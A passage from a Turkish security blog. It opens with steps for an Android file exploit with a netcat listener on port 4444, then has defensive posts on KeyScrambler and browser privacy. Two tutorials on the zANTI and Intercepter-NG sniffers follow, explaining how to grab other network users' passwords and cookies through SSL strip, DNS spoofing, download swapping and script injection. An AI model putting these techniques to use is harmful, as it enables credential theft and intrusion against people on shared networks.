  1. İfconfig komutuyla adresimizi alıp -c parametresi olarak tanımlıyoruz. -p ile portumuzu 4444 olarak ayarladım.
  2. Exploit kodumuzda 363. satırda defafult=’00000.mp4′ kısmından dosyamızın adını belirliyoruz.
  3. Exploitimiz çalıştığında netcat -l -p 4444 komutuyla dinleme yapıyoruz.
Android,Güvenlik

Mar.25

Keyscrambler İle Bilgisayar Güvenliği

Merhaba arkadaşlar,

Günümüzde hala çok kullanılan yöntem keylogger ile şifrelerinizin çalınması. Bilgisayar güvenliğinizi tehdit eden yazılımlar arasında üst sıralarda keylogger. Keyscrambler‘ı bypass edebilen keylogger şu ana kadar görmedim varsa da özel olarak kodlanmıştır. Keyscrambler mantığı klavyede bastığınız her tuşu rastgele olarak ataması. berkimran.com.tr yazdığınızda xad5q8w22 şeklinde gözükebilir. Bundan dolayı şifrelerinizin çalınması daha da zorlaşacaktır.

Keyscrambler Neden Gerekli?

Gizlilik açısından gerekli güvenlik uygulamarı başında gelir.

  1. Kredi kartı bilgileri gibi üst düzey güvenlik gerektiren bilgilerinizin çalınmasını engeller,
  2. Online oyun ve diğer hassas bilgilerinizi korur,
  3. Keyloggerlara karşı koruma sağlar,
  4. Verilerinizi şifrelediği için gizlilik sağlarsınız,
  5. Özel bilgilerinizi girdiğiniz çoğu programlar ile tam uyumludur,
  6. Ekran klavyesi ile uğraşmak zorunda kalmazsınız(ekran klavyesiyle girilen veriler alınabilir),
  7. Kendini gizleyerek tamamen arkaplanda çalışır.

Örnek olarak local keyloggerda keyscrambler kapalıyken ve açıkken;

keyscrambler

ilk berkimran.com.tr yazdığımda keyscrambler kapalı ||| sonrasında açık ve tekrar kapalı. Açıkken yazdıklarımı Zemana’nın keyloggerı alamadı. Belki başka bir keylogger alacaktı ama anlamsız şekilde olacaktı.

Keyscrambler Ayarları

General

Ctrl + Shift + K kısayolu ile keyscrambler kapatılıp açılabilir.  Windows başlangıcında açılıp açılmayacağı seçilebilir. Kesinlikle başlangıçta çalışacak şekilde ayarlamalısınız.

Display

Yazdığınız veriler rastgele şifrelendiğinde şifrelenen verinin nerede gözükeceğini ayarlayabilirsiniz. Overlay Windows seçili olursa location kısmındaki bölümlerde gözükür. Örneğin tarayıcının sağ üst köşesi. Tavsiye ettiğim tray icon. İkon halindeyken şifrelenen verileri gösterir. Böylece rahatsız olmazsınız.

 Advanced

Windows şifre ekranında çalışması, Windows explorer ile çalışması, Boşlukların rastgele şifrelenmesi, Dil giriş yardımı.

Keyscrambler sitesi: https://www.qfxsoftware.com/index.html

Güvenlik

Mar.24

Tarayıcı Güvenliği – Eklenti Ve Çerezler

Tarayıcılardan bulaşan virüs sayısı kat kat arttı. Gerek tarayıcılar gerek eklentiler gerekse java kullanarak çok sayıda exploit yazıldı. Bundan dolayı makalemde tarayıcı güvenliğinden bahsettim.

Tarayıcı Güvenliği

1)Çerezler

Çerezlerin tutulması ne kadar önemliyse güvenliği de o kadar önemlidir. Her girdiğiniz sitede şifreleri tekrar tekrar girmemek için “beni hatırla” butonunu kullanırız. Bu durumda saklanan çerezlerde bütün oturum bilgilerimiz yer alır. Bu bilgileri özellikle şifremizi korumak için çeşitli yollar mevcut. Tabii ki çerez tutmamak en mantıklısı ancak çerezlerin  tutulmasının  mecbur  olunduğu  durumlar  olacak bu yüzden güvenliğini sağlayalım.

Öncelikle beni hatırla seçeneğini artık kullanmayın. Şifrenizi her seferinde elle girmek zahmetli ama daha güvenli. Örnek olarak  chrome için  kayıtlı şifreler;

tarayıcısec

chrome://settings/passwords  adresinden rahatlıkla kayıtlı şifreleri görebilirsiniz. Fiziksel olarak da şifrelerinizin alınmasını kolaylaştırıyor bu şekilde. Bilgisayar başında değilken çok kısa sürede şifreleriniz alınabilir. Bu yüzden tarayıcı da kesinlikle kayıtlı şifre tutmayın.

Güvenli Çerez Silimi

Çerezleri tarayıcıdaki mevcut ayarlarla sildiğinizde çerezler geri getirilebileceği için gutmann metoduyla (35 kez verinin üstünden geçmek) silmek gerek. Bunun için en çok kullanılan araçlardan biri olan CCleaner kullanılabilir. CCleaner ayarlarını resimdeki gibi yaparsak tamamen güvenli olarak silmiş oluruz. Bu şekilde silinen veriler geri getirilemez.

tarayıcısec2

Bu şekilde normalde olduğundan daha uzun sürse de daha güvenli olacağı için tavsiye ederim. Ek olarak 7 geçişi de kullanabilirsiniz.

2) Tarayıcı Güvenliği ve Eklentiler

Güvenliğinizi sağlamak için tarayıcılara özel gerekli eklentiler var. Bu eklentiler çoğunluk olarak Firefox için yazılmış. Ancak tüm tarayıcılarla uyumlu güvenlik eklenti tabii ki var.

AdBlock Plus

Sitelerdeki reklamları kaldırarak hem sade bir site sunar hem de güvenliğinizi tehdit edebilecek reklamlardan kurtulmuş olursunuz.
Bazı siteler adblock eklentisine sahip kullanıcılara sitelerini kapatabiliyor. Bu durumda isterseniz sadece o sitede reklamların engellenmesi bırakılır. İsteğe bağlı olarak pasif kullanabilirsiniz.
İndirmek için: https://adblockplus.org/

Blur

En çok kullanılan popüler güvenlik ve gizlilik eklentilerinden. Telefon veya tabletten kullanılabilir. Eklenti size tek tıkla güçlü şifreler oluşturup oturumlarınızda daha güvenli olmayı sağlar. Veri toplayan yüzlerce siteyi engeller. Bütün oturum izlemerini engeller. Kesinlikle kullanmanız gereken eklentiler arasında.

İndirmek için: https://abine.com/index.html

HTTPS Everywhere

Gerekli eklentilerin başında gelir. Sayfalarda mümkünse güvenli bağlantıyı(https) kullanır. Kullanımı gayet basittir. Opera, Chrome ve Firefox için kullanılabilir.

Ghostery

Sitelerdeki bütün izleyicileri engeller. Google analytics, adsense, diğer reklam firmaları ve diğer tüm izleri takip eden siteleri engeller. Engellediği siteleri arayüzünde gösterir.

Privacy Badger

Reklamları ve izleyicileri engeller. Kullanımı gayet basit. Gizlilik için son zamanlarda önde gelen eklentilerden.

Disconnect

Son zamanlarda kendini en çok geliştiren eklentilerden birisi. Yapı itibariyle diğerlerine benzese de premium özelliği ile güvenliğini bir tık daha ileriye götürdü.

 

 

Genel

Mar.06

Android Sniffer – zANTİ

Android sniffer serisinin ilk makalesi olan Android Sniffer – Intercepter-Ng konusuna bakabilirsiniz. Serinin ikinci yazısı için kullanacağımız sniffer zANTİ.  zANTI bana göre android snifferlar arasında en gelişmişi. Kıyaslamak gerekirse intercepter-ng ile aralarındaki en büyük fark daha fazla opsiyon olması. Dns spoofing, aygıtların port taraması, mac adresi değiştirme, modem arayüzüne brute force gibi çok fazla özelliği var. Uzun süredir kullananlar bilir dSploit varken zANTI ücretliydi, ücretli özellikleri dSploit’e kıyasla çok çok iyiydi. Şimdi ücretsiz olması ve desteği zANTI’ye vermelerinden dolayı güzel bir sniffer çıkmış ortaya. İnceleyelim;

Uygulamaya girdiğimiz zaman zANTI’ye dokununca açılan menü içeriği;

Android Sniffer

Android Sniffer

Mac Changer

Mevcut mac adresinizi burdan öğrenebilir ve değiştirebilirsiniz. “Generate Random” kapalı olduğunda kendi belirlediğiniz bir mac adresi ile değiştirebilirsiniz. Değiştirme işleminde bağlantınızın kopacağını unutmayın.

zTether

Mitm testini kendi telefonunuzda yapmanızı sağlar. Wifi bağlantınızda geçerli değildir, mobil verinizi açıp test etmelisiniz. Yeni kullanıcılar için önelikle kendi telefonlarında denemeleri ve iyice öğrenmeleri için birebir.  Özellikle script yazıp denemeniz için çok uygun.

Routerpwn.com

Modem arayüz şifrelerinin bulunduğu site. Bilmeyen yoktur diye tahmin ediyorum. Uzman olmayan kişilerin ağına bağlandığınızda direk bu siteden modemin default kullanıcı adı şifresini öğrenebilirsiniz.

HTTP Server

Uygulamanın logları burda tutuluyor diyebiliriz. Dinlenen portlar, yönlendirilen portlar ve diğer bilgileri burdan görebilirsiniz.

Son olarak ayarlar kısnıbda “delete logs before map” seçeneğinin işaretli olmasını tavsiye ederim. Gelelim ana kısma;

Bu kısımdan ağda bağlı olan cihazları taratıyoruz. İsterseniz elle ip adresi girebilir, varolan cihazları arayabilir, güvenlik açığı tarattırabilirsiniz.

Android Sniffer

Android Sniffer

Tarama bittiğinde aşağıdaki uyarıyı verecektir. Fazla cihazın bağlı olduğu ağlarda uzun sürebilir, elle taramayı bitirebilirsiniz.

Android Sniffer

Android Sniffer

Arayüzden istersek tek bir cihazı ya da bütün ağı seçiyoruz. Ben ağı seçiyorum.

zanti4

Scan

zanti

Arama tipini, scripti , güvenlik açığı olup olmadığını tarayabilirsiniz. Tarama bittikten sonra    isterseniz tekrar tarama yapabilir, kayıtları görebilir veya es geçebilirsiniz.

Password Complexity Audit

Cracking method kısmından wordlistinizin büyüklüğü seçebilir ya da kendi wordlistinizi kullanabilirsiniz. Automatic mode aktif yapınca otomatik olarak portu tanımlıyor. Kapalı olması halinde kendi seçtiğiniz porttan tarama yapabilirsiniz.

Man in The Middle

En önemli bölüm. Mitm saldırılarının olduğu bölüm.

  1. Logged Request

    Girilen siteler ve şayet gelirse şifreler bu kısımda gözükür. Çerezleri alıp kullanabilirsiniz. Memnun olsam da biraz daha geliştirilmeli.

  2. Logged Images

    Ağdaki kişilerin görüntülediği resimler burada yer alır. Görüntüsü kalitesi düşüktür.

  3. zPacketEditor

    Get ve post metodlarıyla yapılan trafiği burdan inceleyebilirsiniz.

  4. Mıtm Method

    Mitm saldırı türünü burdan seçebilirsiniz.

  5. Ssl Strip

    Https veri akışını http’ye çevirerek daha çok bilgi toplanmasını sağlar.

  6. Redirect HTTP

    Belirlediğiniz bir adrese bütün sorgular gönderilir.

  7. Replace Images

    Seçtiğiniz resimler internet sayfasındaki resimlerle değiştirilir.

  8. Capture Download

    Seçtiğiniz dosya ile bir web sayfasındaki dosya değiştirilir. Güzel bir sosyal mühendislikle çok şey yapılır.

  9. Intercept Download

    Üstteki ile aynı mantık.

  10. Insert HTML

    Yazdığınız script kodları web sayfasında görüntülenir. Örneğin <script>alert(“berkimran.com.tr”)</script>

zANTI Android Sniffer Hakkında

Genel itibariyle sniffer bu şekilde. Eksilerini ve artılarını kullandıkça daha net anlayabilirsiniz. Mitm saldırılarını başlattığınızda hata vermesi durumunda uygulamayı kapatın ve ağ taramasını yeniden yapıp deneyin. Devam ederse on off yaparak tekrar tekrar deneyin.

 

 

 

 

 

Android,Sniffer,Güvenlik,Network

Şub.13

Android Sniffer – Intercepter-Ng

Intercepter-ng ilk çıktığı zamandan itibaren kullandığım, android sniffer listemde 2.sıradaki uygulamadır. Kullandığım ve gördüklerim kadarıyla hala eksik yönleri bulunmakta. Özellikle 100-200 kişiden fazla kullanıcının olduğu ağlarda çok stabil değil. Tabii ki buna telefonun, romun, kernelin ve diğer etkenlerin de etkisi var. Ancak intercepter-ng diğer uygulamalara kıyasla daha zayıf. Eskiden sadece sitesinden ve xda’dan indirebildiğimiz uygulama artık marketten de yerini aldı. Uygulamanın özelliklerine bakalım;

Öncelikle 1.9 sürümü ile gelen yenilikler;

  • Port tarama
  • Dns Spoofing (En sevdiğim özelliklerinden. Sosyal mühendislikle birleşince inanılmaz olaylar çıkıyor.)

Kısaca bu android sniffer ile yapabilecekleriniz;

  • Çerezleri görme ve silme,
  • Girilen sitelerin listesi,
  • Bakılan tüm fotoğraflar,
  • E-mail ve şifreler,
  • Site yönlendirme,
  • Wireshark ile gelen bütün özellikler.

Öncelikle uygulama root erişimi istiyor ve kabul ettikten sonra uygulamamız açılıyor. Aşağıdaki ekran geldiğinde ister bütün bağlı cihazları taratabilir veya taramadan direk arayüzden dinleme işlemine başlayabilirsiniz. Gw yani arayüz adresleri ve ağdaki ip adresiniz aşağı kısımda belirtilmiş.

sniffer1

En kritik bölümlerden birisi burası. Burda ağdakilerin girdiği siteler, e-mail ve şifreleri dahil çoğu bilgiye ulaşabilirsiniz. Yalnız hâla eksikleri var. Başta belirttiğim gibi 2.sırada olmasının en büyük etkenlerinden birisi de bu. Hala çoğu şifreyi kaydedildiği ve güvensiz olduğu halde alamıyor. Ancak bu haliyle bile iyi.

sniffer2

Wireshark bölümünü atlıyorum. Bu uygulama ek birşey katmamış bildiğimiz wireshark. Çerez kısmına gelince eğer yukarıdaki kısımda kişinin herhangi bilgisi gelmediyse burdan kayıtlı oturum bilgisini alabilirsiniz. Çerez alma kısmında gerçekten çoğu snifferdan iyidir. Show less diyip çerezleri alıp bilgisayarda da kullanabilirsiniz. Kendi tarayıcınız pek iyi değil. Özetle çerez alma özelliğini beğeniyorum.

snifferedit3

Uygulamanın genel ve önemli ayarlarının bulunduğu kısım. Tavsiye ayarım aşağıdaki gibidir. Sadece .pcap dosyalarını saklayıp daha sonra inceleyebilirsiniz. Özellikle sslstrip ve cookie killer açık olmalı. Diğerleri zaten uygulamanın işleyişiyle alakalı.

sniffer5

Ve dns spoofing özelliği. Anlatmak istesem ayrıca bir makale yazmam gerek. Kısaca kullanımı aşağıda belirtildiği gibi siteadi.com:ipadresi şeklinde. Güzel bir sosyal mühendislik ve yaratıcıkla yapılamayacak şey yok.

sniffer4

Uygulamayı indirmek için: Google Play

Android,Sniffer,Güvenlik,Network